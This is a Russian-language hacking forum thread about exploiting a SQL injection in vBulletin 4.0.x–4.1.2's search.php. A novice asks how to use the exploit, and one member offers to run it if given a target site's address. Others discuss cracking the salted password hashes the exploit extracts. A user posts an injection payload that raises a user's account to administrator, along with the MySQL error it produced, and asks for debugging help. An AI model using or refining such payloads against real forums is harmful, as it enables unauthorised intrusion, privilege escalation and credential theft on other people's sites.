vBulletin 4.0.x => 4.1.2 exploit помощ нужна!

[Smesh]

Мне нужна помоч как уптреблят етот експлоит, кто нибудь помогите мне ,я новичок

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#

[C-r-A-c-K]

говори адрес сайта, помогу)

[ra0cg]

Smesh said:
Мне нужна помоч как уптреблят етот експлоит, кто нибудь помогите мне ,я новичок
vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#


Как вариант, просмотри видео "как уптреблят етот експлоит", к примеру с YouTube.

[Sh0ck3R]

В каком формате получается пароль?(чтобы расшифровать)

[fl00der]

Скорей всего в формате соленого хеша.

На форуме есть тема, попробуй закинуть хеши туда, может, расшифруют.

[Export]

Какие еще запросы можно сделать?

На все запросы вылазит ошибка


Code:
Database error in vBulletin 4.1.2:

Invalid SQL:
SELECT DISTINCT socialgroupcategory.title from socialgroupcategory AS
socialgroupcategory WHERE socialgroupcategoryid IN (1) UPDATE `user` SET usergroupid = '2' WHERE userid = '2';);

MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE `user` SET usergroupid = '2' WHERE userid = '2';)' at line 2
Error Number : 1064
Request Date : Monday, June 20th 2011 @ 03:57:50 PM
Error Date : Monday, June 20th 2011 @ 03:57:50 PM
Script : http://localhost/search.php?do=process
Referrer : http://localhost/search.php
IP Address : 127.0.0.1
Username :
Classname : vB_Database
MySQL Version : 5.1.40-community

Запрос SQL такой


Code:
&cat[0]=1) UPDATE user SET usergroupid=6 WHERE userid=2#

В чем моя ошибка?

PS Через Execute batch file в Navicat'e запрос проходит.